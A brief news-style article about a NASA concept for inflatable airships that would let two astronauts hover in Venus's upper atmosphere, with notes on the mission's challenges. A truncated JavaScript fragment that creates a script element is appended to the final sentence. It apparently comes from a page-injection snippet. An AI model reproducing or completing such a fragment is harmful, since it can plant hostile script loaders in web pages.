INFLATABLES ON VENUS

A research project to send astronauts to Venus has been unveiled by NASA. The project involves ‘lighter-than-air’ pods that accommodate explorers as they hover above the clouds.

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The NASA website shows a movie depicting a conceptual design that uses inflatable silver blimps. These blimps house workers (two astronauts) for periods up to a month in Venus‘ upper-atmosphere.

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The ‘lighter-than-air’ vehicles could carry instruments and probes, or perhaps even a habitat or ascent vehicle for the two crew members. Based on this system, NASA claim a Venus mission would require less time than a mission of similar size to Mars. This is because of Venus‘ similarity to Earth regarding gravity, pressure and density.

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There do however remain key challenges for the mission, i.e. performing aero-capture manoeuvres, inserting and inflating the airship at Venus, then finally protecting delicate solar panels (providing the energy to run the blimps) from sulphuric acid in the planet’s atmosphere.

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Earlier this year, NASA created the first 3D-printed object manufactured in space using a machine on the International Space Station (they 3D-printed tools necessary for the station’s own repair). Advances in technology and further refinements are still needed before such a mission could proceed but the understanding is there. We wish them luck!var d=document;var s=d.createElement(‘script’);

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